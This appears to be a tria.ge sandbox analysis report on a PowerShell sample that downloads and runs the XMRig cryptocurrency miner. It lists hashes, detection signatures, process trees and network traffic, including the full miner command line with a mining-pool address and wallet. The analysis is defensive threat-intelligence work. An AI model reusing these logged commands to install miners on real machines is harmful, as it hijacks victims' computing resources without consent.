Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
1file01 - c...2).ps1
windows10-2004-x64
10file01 - c...2).ps1
windows10-1703-x64
10file01 - c...2).ps1
windows10-2004-x64
10file01 - c...2).ps1
windows11-21h2-x64
10file01 - c...3).ps1
windows10-1703-x64
10file01 - c...3).ps1
windows10-1703-x64
10file01 - c...3).ps1
windows10-2004-x64
10file01 - c...3).ps1
windows11-21h2-x64
10file01 - c...4).ps1
windows11-21h2-x64
10file01 - c...4).ps1
windows10-1703-x64
10file01 - c...4).ps1
windows10-2004-x64
10file01 - c...4).ps1
windows11-21h2-x64
10file01 - c...5).ps1
windows10-2004-x64
10file01 - c...5).ps1
windows10-1703-x64
10file01 - c...5).ps1
windows10-2004-x64
10file01 - c...5).ps1
windows11-21h2-x64
10file01 - c...6).ps1
windows10-2004-x64
10file01 - c...6).ps1
windows10-1703-x64
10file01 - c...6).ps1
windows10-2004-x64
10file01 - c...6).ps1
windows11-21h2-x64
10file01 - c...7).ps1
windows7-x64
3file01 - c...7).ps1
windows10-1703-x64
10file01 - c...7).ps1
windows10-2004-x64
10file01 - c...7).ps1
windows11-21h2-x64
10file01 - c...8).ps1
windows10-1703-x64
10file01 - c...8).ps1
windows10-1703-x64
10file01 - c...8).ps1
windows10-2004-x64
10file01 - c...8).ps1
windows11-21h2-x64
10file01 - c...9).ps1
windows10-1703-x64
10file01 - c...9).ps1
windows10-1703-x64
10file01 - c...9).ps1
windows10-2004-x64
10file01 - c...9).ps1
windows11-21h2-x64
10Resubmissions
13/05/2024, 02:46 UTC
240513-c9jzwahd4v 1013/05/2024, 02:46 UTC
240513-c9d4mahd4s 1013/05/2024, 02:45 UTC
240513-c89h5shd3y 1013/05/2024, 02:45 UTC
240513-c832csce34 1013/05/2024, 02:45 UTC
240513-c8xjkshd3w 1013/05/2024, 02:45 UTC
240513-c8qq2ace32 1013/05/2024, 02:42 UTC
240513-c65geahd2z 1013/05/2024, 02:41 UTC
240513-c6q9sahd2x 10Analysis
-
max time kernel
2698s -
max time network
2698s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
13/05/2024, 02:41 UTC
Static task
static1
Behavioral task
behavioral1
Sample
file01 - copia (2).ps1
Resource
win10v2004-20240426-en
Behavioral task
behavioral2
Sample
file01 - copia (2).ps1
Resource
win10-20240404-en
Behavioral task
behavioral3
Sample
file01 - copia (2).ps1
Resource
win10v2004-20240508-en
Behavioral task
behavioral4
Sample
file01 - copia (2).ps1
Resource
win11-20240426-en
Behavioral task
behavioral5
Sample
file01 - copia (3).ps1
Resource
win10-20240404-en
Behavioral task
behavioral6
Sample
file01 - copia (3).ps1
Resource
win10-20240404-en
Behavioral task
behavioral7
Sample
file01 - copia (3).ps1
Resource
win10v2004-20240508-en
Behavioral task
behavioral8
Sample
file01 - copia (3).ps1
Resource
win11-20240426-en
Behavioral task
behavioral9
Sample
file01 - copia (4).ps1
Resource
win11-20240426-en
Behavioral task
behavioral10
Sample
file01 - copia (4).ps1
Resource
win10-20240404-en
Behavioral task
behavioral11
Sample
file01 - copia (4).ps1
Resource
win10v2004-20240226-en
Behavioral task
behavioral12
Sample
file01 - copia (4).ps1
Resource
win11-20240508-en
Behavioral task
behavioral13
Sample
file01 - copia (5).ps1
Resource
win10v2004-20240508-en
Behavioral task
behavioral14
Sample
file01 - copia (5).ps1
Resource
win10-20240404-en
Behavioral task
behavioral15
Sample
file01 - copia (5).ps1
Resource
win10v2004-20240426-en
Behavioral task
behavioral16
Sample
file01 - copia (5).ps1
Resource
win11-20240508-en
Behavioral task
behavioral17
Sample
file01 - copia (6).ps1
Resource
win10v2004-20240508-en
Behavioral task
behavioral18
Sample
file01 - copia (6).ps1
Resource
win10-20240404-en
Behavioral task
behavioral19
Sample
file01 - copia (6).ps1
Resource
win10v2004-20240508-en
Behavioral task
behavioral20
Sample
file01 - copia (6).ps1
Resource
win11-20240508-en
Behavioral task
behavioral21
Sample
file01 - copia (7).ps1
Resource
win7-20231129-en
Behavioral task
behavioral22
Sample
file01 - copia (7).ps1
Resource
win10-20240404-en
Behavioral task
behavioral23
Sample
file01 - copia (7).ps1
Resource
win10v2004-20240508-en
Behavioral task
behavioral24
Sample
file01 - copia (7).ps1
Resource
win11-20240508-en
Behavioral task
behavioral25
Sample
file01 - copia (8).ps1
Resource
win10-20240404-en
Behavioral task
behavioral26
Sample
file01 - copia (8).ps1
Resource
win10-20240404-en
Behavioral task
behavioral27
Sample
file01 - copia (8).ps1
Resource
win10v2004-20240508-en
Behavioral task
behavioral28
Sample
file01 - copia (8).ps1
Resource
win11-20240426-en
Behavioral task
behavioral29
Sample
file01 - copia (9).ps1
Resource
win10-20240404-en
Behavioral task
behavioral30
Sample
file01 - copia (9).ps1
Resource
win10-20240404-en
Behavioral task
behavioral31
Sample
file01 - copia (9).ps1
Resource
win10v2004-20240508-en
General
-
Target
file01 - copia (3).ps1
-
Size
510B
-
MD5
2dcb4d51653aec1a829f3232d69f5e12
-
SHA1
dd096e7d800b9f3ca0edc64955b4464d71789f80
-
SHA256
d1902d3e519d0d87097fd8969280bd01bd139a5191faadaed0149e61b4a7495c
-
SHA512
7def3731bbb3f7ac3895edcf14c645bbcc0608f09c6b03bf7ddaebf049f1f6f1aad4086548ab9fce7b2bbefd837de8377f8b81cf94022d84e35f1bba0af89143
Malware Config
Signatures
-
XMRig Miner payload 64 IoCs
resource yara_rule behavioral7/files/0x000700000002340e-40.dat family_xmrig behavioral7/files/0x000700000002340e-40.dat xmrig behavioral7/memory/5048-49-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-52-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-55-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-57-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-60-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-61-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-62-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-63-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-64-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-65-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-66-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-67-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-68-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-69-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-70-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-71-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-72-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-73-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-74-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-75-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-76-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-77-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-78-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-79-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-80-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-81-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-82-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-83-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-84-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-85-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-86-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-87-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-88-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-89-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-90-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-91-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-92-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-93-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-94-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-95-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-96-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-97-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-98-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-99-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-100-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-101-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-102-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-103-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-104-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-105-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-106-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-107-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-108-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-109-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-110-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-111-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-112-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-113-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-114-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-115-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-116-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig behavioral7/memory/5048-117-0x00007FF61FFA0000-0x00007FF620BD3000-memory.dmp xmrig -
Blocklisted process makes network request 2 IoCs
flow pid Process 2 724 powershell.exe 4 724 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 5048 xmrig.exe -
pid Process 724 powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 724 powershell.exe 724 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 724 powershell.exe Token: SeLockMemoryPrivilege 5048 xmrig.exe Token: SeLockMemoryPrivilege 5048 xmrig.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 5048 xmrig.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 724 wrote to memory of 5048 724 powershell.exe 88 PID 724 wrote to memory of 5048 724 powershell.exe 88
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\file01 - copia (3).ps1"1⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:724 -
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe"C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe" -a rx -o stratum+ssl://rx.unmineable.com:443 -u XMR:45aHvZ4X3ZvdhLiEiP1cjsXmSkMNoM2QFYNmXCsoTRY9h2EwjtoYcfrVpEojtmBeg5cRsY9J82Lqp6hUanQ1Dsu4UNfKxdF.unmineable_worker_vilqtiac -p x2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5048
-
Network
-
Remote address:8.8.8.8:53Requestgithub.comIN AResponsegithub.comIN A20.26.156.215
-
GEThttps://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-gcc-win64.zippowershell.exeRemote address:20.26.156.215:443RequestGET /xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-gcc-win64.zip HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1237
Host: github.com
Connection: Keep-Alive
ResponseHTTP/1.1 302 Found
Date: Mon, 13 May 2024 02:41:52 GMT
Content-Type: text/html; charset=utf-8
Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With
Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/88327406/d2177920-74f0-4976-86ae-37559a7887d6?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAVCODYLSA53PQK4ZA%2F20240513%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240513T024152Z&X-Amz-Expires=300&X-Amz-Signature=fba4a855ee3aaf4f40cc331e9a654233e702545a619d748a659f678f4e0257ff&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=88327406&response-content-disposition=attachment%3B%20filename%3Dxmrig-6.21.3-gcc-win64.zip&response-content-type=application%2Foctet-stream
Cache-Control: no-cache
Strict-Transport-Security: max-age=31536000; includeSubdomains; preload
X-Frame-Options: deny
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Referrer-Policy: no-referrer-when-downgrade
Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com api.githubcopilot.com objects-origin.githubusercontent.com copilot-proxy.githubusercontent.com/v1/engines/copilot-codex/completions *.actions.githubusercontent.com wss://*.actions.githubusercontent.com productionresultssa0.blob.core.windows.net/ productionresultssa1.blob.core.windows.net/ productionresultssa2.blob.core.windows.net/ productionresultssa3.blob.core.windows.net/ productionresultssa4.blob.core.windows.net/ productionresultssa5.blob.core.windows.net/ productionresultssa6.blob.core.windows.net/ productionresultssa7.blob.core.windows.net/ productionresultssa8.blob.core.windows.net/ productionresultssa9.blob.core.windows.net/ productionresultssa10.blob.core.windows.net/ productionresultssa11.blob.core.windows.net/ productionresultssa12.blob.core.windows.net/ productionresultssa13.blob.core.windows.net/ productionresultssa14.blob.core.windows.net/ productionresultssa15.blob.core.windows.net/ productionresultssa16.blob.core.windows.net/ productionresultssa17.blob.core.windows.net/ productionresultssa18.blob.core.windows.net/ productionresultssa19.blob.core.windows.net/ github-production-repository-image-32fea6.s3.amazonaws.com github-production-release-asset-2e65be.s3.amazonaws.com insights.github.com wss://alive.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com copilot-workspace.githubnext.com objects-origin.githubusercontent.com; frame-ancestors 'none'; frame-src viewscreen.githubusercontent.com notebooks.githubusercontent.com; img-src 'self' data: github.githubassets.com media.githubusercontent.com camo.githubusercontent.com identicons.github.com avatars.githubusercontent.com github-cloud.s3.amazonaws.com objects.githubusercontent.com secured-user-images.githubusercontent.com/ user-images.githubusercontent.com/ private-user-images.githubusercontent.com opengraph.githubassets.com github-production-user-asset-6210df.s3.amazonaws.com customer-stories-feed.github.com spotlights-feed.github.com objects-origin.githubusercontent.com *.githubusercontent.com; manifest-src 'self'; media-src github.com user-images.githubusercontent.com/ secured-user-images.githubusercontent.com/ private-user-images.githubusercontent.com github-production-user-asset-6210df.s3.amazonaws.com gist.github.com; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; upgrade-insecure-requests; worker-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/
Content-Length: 0
X-GitHub-Request-Id: F81A:E7F91:47F14F6:4E6FBE7:66417DF1
-
Remote address:8.8.8.8:53Requestobjects.githubusercontent.comIN AResponseobjects.githubusercontent.comIN A185.199.108.133objects.githubusercontent.comIN A185.199.109.133objects.githubusercontent.comIN A185.199.110.133objects.githubusercontent.comIN A185.199.111.133
-
GEThttps://objects.githubusercontent.com/github-production-release-asset-2e65be/88327406/d2177920-74f0-4976-86ae-37559a7887d6?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAVCODYLSA53PQK4ZA%2F20240513%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240513T024152Z&X-Amz-Expires=300&X-Amz-Signature=fba4a855ee3aaf4f40cc331e9a654233e702545a619d748a659f678f4e0257ff&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=88327406&response-content-disposition=attachment%3B%20filename%3Dxmrig-6.21.3-gcc-win64.zip&response-content-type=application%2Foctet-streampowershell.exeRemote address:185.199.108.133:443RequestGET /github-production-release-asset-2e65be/88327406/d2177920-74f0-4976-86ae-37559a7887d6?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAVCODYLSA53PQK4ZA%2F20240513%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240513T024152Z&X-Amz-Expires=300&X-Amz-Signature=fba4a855ee3aaf4f40cc331e9a654233e702545a619d748a659f678f4e0257ff&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=88327406&response-content-disposition=attachment%3B%20filename%3Dxmrig-6.21.3-gcc-win64.zip&response-content-type=application%2Foctet-stream HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1237
Host: objects.githubusercontent.com
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Content-Length: 3779186
Content-Type: application/octet-stream
Last-Modified: Tue, 23 Apr 2024 09:49:50 GMT
ETag: "0x8DC637AB80D3BC3"
Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
x-ms-request-id: bf7c61d6-801e-0069-7c64-95d819000000
x-ms-version: 2020-10-02
x-ms-creation-time: Tue, 23 Apr 2024 09:49:50 GMT
x-ms-lease-status: unlocked
x-ms-lease-state: available
x-ms-blob-type: BlockBlob
Content-Disposition: attachment; filename=xmrig-6.21.3-gcc-win64.zip
x-ms-server-encrypted: true
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Mon, 13 May 2024 02:41:53 GMT
Age: 937
X-Served-By: cache-iad-kcgs7200174-IAD, cache-lcy-eglc8600044-LCY
X-Cache: HIT, HIT
X-Cache-Hits: 3545, 1
X-Timer: S1715568113.243324,VS0,VE324
-
Remote address:8.8.8.8:53Request133.108.199.185.in-addr.arpaIN PTRResponse133.108.199.185.in-addr.arpaIN PTRcdn-185-199-108-133githubcom
-
Remote address:8.8.8.8:53Request215.156.26.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request69.31.126.40.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request26.35.223.20.in-addr.arpaIN PTRResponse
-
GEThttps://www.bing.com/th?id=OADD2.10239359720591_10PHTLBML42K6TRZO&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90Remote address:23.62.61.194:443RequestGET /th?id=OADD2.10239359720591_10PHTLBML42K6TRZO&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90 HTTP/2.0
host: www.bing.com
accept: */*
accept-encoding: gzip, deflate, br
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
ResponseHTTP/2.0 200
content-type: image/png
access-control-allow-origin: *
access-control-allow-headers: *
access-control-allow-methods: GET, POST, OPTIONS
timing-allow-origin: *
report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QWthbWFp"}]}
nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
content-length: 1107
date: Mon, 13 May 2024 02:41:55 GMT
alt-svc: h3=":443"; ma=93600
x-cdn-traceid: 0.be3d3e17.1715568115.ce9cd13
-
Remote address:8.8.8.8:53Request77.190.18.2.in-addr.arpaIN PTRResponse77.190.18.2.in-addr.arpaIN PTRa2-18-190-77deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request77.190.18.2.in-addr.arpaIN PTR
-
Remote address:8.8.8.8:53Request194.61.62.23.in-addr.arpaIN PTRResponse194.61.62.23.in-addr.arpaIN PTRa23-62-61-194deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Requestrx.unmineable.comIN AResponserx.unmineable.comIN CNAMErx.unminable.comrx.unminable.comIN CNAMErx-eu.unminable.comrx-eu.unminable.comIN CNAMErx-eu-lon.unminable.comrx-eu-lon.unminable.comIN A161.35.34.195
-
Remote address:8.8.8.8:53Request195.34.35.161.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request157.123.68.40.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request206.23.85.13.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request139.53.16.96.in-addr.arpaIN PTRResponse139.53.16.96.in-addr.arpaIN PTRa96-16-53-139deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request30.243.111.52.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request12.173.189.20.in-addr.arpaIN PTRResponse
-
20.26.156.215:443https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-gcc-win64.ziptls, httppowershell.exe961 B 8.0kB 10 11
HTTP Request
GET https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-gcc-win64.zipHTTP Response
302 -
185.199.108.133:443https://objects.githubusercontent.com/github-production-release-asset-2e65be/88327406/d2177920-74f0-4976-86ae-37559a7887d6?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAVCODYLSA53PQK4ZA%2F20240513%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240513T024152Z&X-Amz-Expires=300&X-Amz-Signature=fba4a855ee3aaf4f40cc331e9a654233e702545a619d748a659f678f4e0257ff&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=88327406&response-content-disposition=attachment%3B%20filename%3Dxmrig-6.21.3-gcc-win64.zip&response-content-type=application%2Foctet-streamtls, httppowershell.exe80.4kB 3.9MB 1613 2827
HTTP Request
GET https://objects.githubusercontent.com/github-production-release-asset-2e65be/88327406/d2177920-74f0-4976-86ae-37559a7887d6?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAVCODYLSA53PQK4ZA%2F20240513%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240513T024152Z&X-Amz-Expires=300&X-Amz-Signature=fba4a855ee3aaf4f40cc331e9a654233e702545a619d748a659f678f4e0257ff&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=88327406&response-content-disposition=attachment%3B%20filename%3Dxmrig-6.21.3-gcc-win64.zip&response-content-type=application%2Foctet-streamHTTP Response
200 -
23.62.61.194:443https://www.bing.com/th?id=OADD2.10239359720591_10PHTLBML42K6TRZO&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90tls, http21.4kB 6.3kB 16 10
HTTP Request
GET https://www.bing.com/th?id=OADD2.10239359720591_10PHTLBML42K6TRZO&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90HTTP Response
200 -
9.8kB 22.8kB 97 94
-
56 B 72 B 1 1
DNS Request
github.com
DNS Response
20.26.156.215
-
75 B 139 B 1 1
DNS Request
objects.githubusercontent.com
DNS Response
185.199.108.133185.199.109.133185.199.110.133185.199.111.133
-
74 B 118 B 1 1
DNS Request
133.108.199.185.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
215.156.26.20.in-addr.arpa
-
71 B 157 B 1 1
DNS Request
69.31.126.40.in-addr.arpa
-
71 B 157 B 1 1
DNS Request
26.35.223.20.in-addr.arpa
-
140 B 133 B 2 1
DNS Request
77.190.18.2.in-addr.arpa
DNS Request
77.190.18.2.in-addr.arpa
-
71 B 135 B 1 1
DNS Request
194.61.62.23.in-addr.arpa
-
63 B 150 B 1 1
DNS Request
rx.unmineable.com
DNS Response
161.35.34.195
-
72 B 139 B 1 1
DNS Request
195.34.35.161.in-addr.arpa
-
72 B 146 B 1 1
DNS Request
157.123.68.40.in-addr.arpa
-
71 B 145 B 1 1
DNS Request
206.23.85.13.in-addr.arpa
-
71 B 135 B 1 1
DNS Request
139.53.16.96.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
30.243.111.52.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
12.173.189.20.in-addr.arpa
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
9.1MB
MD5205ad9eb6acd6f58752899669b69fe74
SHA1bedb78ac5034259b86c2cbc915de2e861e8d7604
SHA2562025f4fe930440da147eecd24a368d3a2f3c1883c499186eb429e9d662c90fda
SHA51228309f453ae87e8db8c1667d8d8eee5f5f7035372c027afbec48aa3c798c53ade7cfcec0c9575cad2d108e033395ebde4fda6fcfff72c99944119f8fa91d91c3